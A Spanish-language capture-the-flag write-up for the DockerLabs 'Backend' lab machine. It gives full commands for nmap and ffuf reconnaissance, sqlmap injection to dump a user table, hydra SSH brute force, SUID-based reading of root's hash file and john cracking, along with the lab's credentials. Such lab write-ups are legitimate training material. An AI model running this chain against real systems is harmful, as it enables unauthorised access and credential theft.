> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/backend.md).

# 🟩 Backend

🧠Dificultad: Fácil | 🔓18/03/2026

## 🕵️ Reconocimiento

Comenzamos con un escaneo de puertos con `nmap`:

{% code overflow="wrap" %}

```bash
nmap -sC -sV -Pn $IPTARGET | tee nmap
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FH4Ru9NfhXCY7OFrCLddG%2Fimage.png?alt=media&amp;token=4dd964d9-5bc9-4ddf-8add-9b6a486bea68" alt=""><figcaption></figcaption></figure>

Solo tenemos los puertos 80 y 22 (HTTP y SSH) abiertos. Realizamos un escaneo de directorios sobre el servicio web:

{% code overflow="wrap" %}

```bash
ffuf -w /usr/share/wordlists/SecLists-2025.2/Discovery/Web-Content/directory-list-2.3-medium.txt:FUZZ -u "http://$IPTARGET/FUZZ" -e .html,.php,.txt,.xml,.js
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fpu5CsZerJ4anus4taqGk%2Fimage.png?alt=media&amp;token=0e3b694c-e505-4e30-8229-8424e1b558a1" alt=""><figcaption></figcaption></figure>

Veamos qué encontramos dentro del navegador:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fyh0PULru8hH5XRUEw5IX%2Fimage.png?alt=media&amp;token=408aa58d-cd98-426e-8567-76a720e2ff41" alt=""><figcaption></figcaption></figure>

Si introducimos una `'` en el campo de `Username`, nos salta un error de SQL:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FF5liK9njbNE7yL6aP0s4%2Fimage.png?alt=media&amp;token=997ffe35-a9b0-4ff2-ab2c-4354453e7e2c" alt=""><figcaption></figcaption></figure>

## 🚪 Ganando acceso

Explotamos esta vía para encontrar una vulnerabilidad SQL y dumpear la base de datos:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch --risk=3 --level=5 --dbs
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FdttFk7TEo1s5K9Zzi1ji%2Fimage.png?alt=media&amp;token=e36ae687-8786-46ca-9de6-97243f51464b" alt=""><figcaption></figcaption></figure>

Vemos que es vulnerable a un boolean-based blind sqli, entre otros. Las bases de datos que contiene son las siguientes:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FdYfv7LComcnVq5mPCOlo%2Fimage.png?alt=media&amp;token=ac5480ec-e2e5-447f-a38d-fb01cf250b41" alt=""><figcaption></figcaption></figure>

Miramos las tablas de la base de datos `users`:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch -D users --tables
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F3I51UvHTzKQ8APkkr58A%2Fimage.png?alt=media&amp;token=426b70b1-132d-402b-b3b2-0007c40e05ff" alt=""><figcaption></figcaption></figure>

Y vemos el contenido de la tabla `usuarios`:

{% code overflow="wrap" %}

```bash
sqlmap -u "http://172.17.0.2/login.php" --data="username=hola&password=adios" --batch -D users -T usuarios --dump
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FfTNQKNE9uDUDtxjcniJH%2Fimage.png?alt=media&amp;token=fe4fb361-847f-4dee-be2d-1bc53c459621" alt=""><figcaption></figcaption></figure>

Guardamos todos los usuarios y contraseñas en dos archivos `.txt` para pasarlos a `hydra` y ver qué combinación es la correcta:

{% code overflow="wrap" %}

```bash
hydra -L usuarios.txt -P passwords.txt ssh://172.17.0.2
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FCjpvOVMuVtzdyNzycDI7%2Fimage.png?alt=media&amp;token=6c763eaa-0974-4077-bdde-a9f238cfaa94" alt=""><figcaption></figcaption></figure>

La combinación correcta es `pepe:P123pepe3456P`. Entramos por SSH:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FIG2VuDajLjvsvLwK8nYQ%2Fimage.png?alt=media&amp;token=31dfa02d-f486-4aa5-85ea-370506195f8e" alt=""><figcaption></figcaption></figure>

## 💥 Escalada de privilegios

Vemos los binarios con el bit SUID activado en el sistema:

{% code overflow="wrap" %}

```bash
find / -perm -4000 -type f 2>/dev/null
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fwjs0w4fEx6xCFYAXWrT8%2Fimage.png?alt=media&amp;token=47204b86-fec8-419c-8d8a-91ce59b58869" alt=""><figcaption></figcaption></figure>

Con `grep` y `ls` podemos listar directorios y leer el contenido de todos los ficheros, ya que tienen el bit SUID activado y su propietario es `root`. Listamos el contenido del directorio `/root` y leemos el fichero `pass.hash`:

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fe53oBFxbRBOUsbD7kpaN%2Fimage.png?alt=media&amp;token=d9231486-a2c0-4e04-90fe-6809e712ef2a" alt=""><figcaption></figcaption></figure>

Nos llevamos el hash a nuestra máquina para analizarlo. Al parecer se trata de un hash MD5. Usamos `john` para crackear el hash y sacar la contraseña:

{% code overflow="wrap" %}

```bash
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

{% endcode %}

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FKpGxaV4ytYCnWyr4vxMv%2Fimage.png?alt=media&amp;token=ebf84ed2-6495-47be-be9d-370aedb05bb8" alt=""><figcaption></figcaption></figure>

La contraseña de `root` es `spongebob34`.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FwoYRtjLfokzLyVxMuIsF%2Fimage.png?alt=media&amp;token=3944f164-de61-4dcf-a371-9fb133478608" alt=""><figcaption></figcaption></figure>
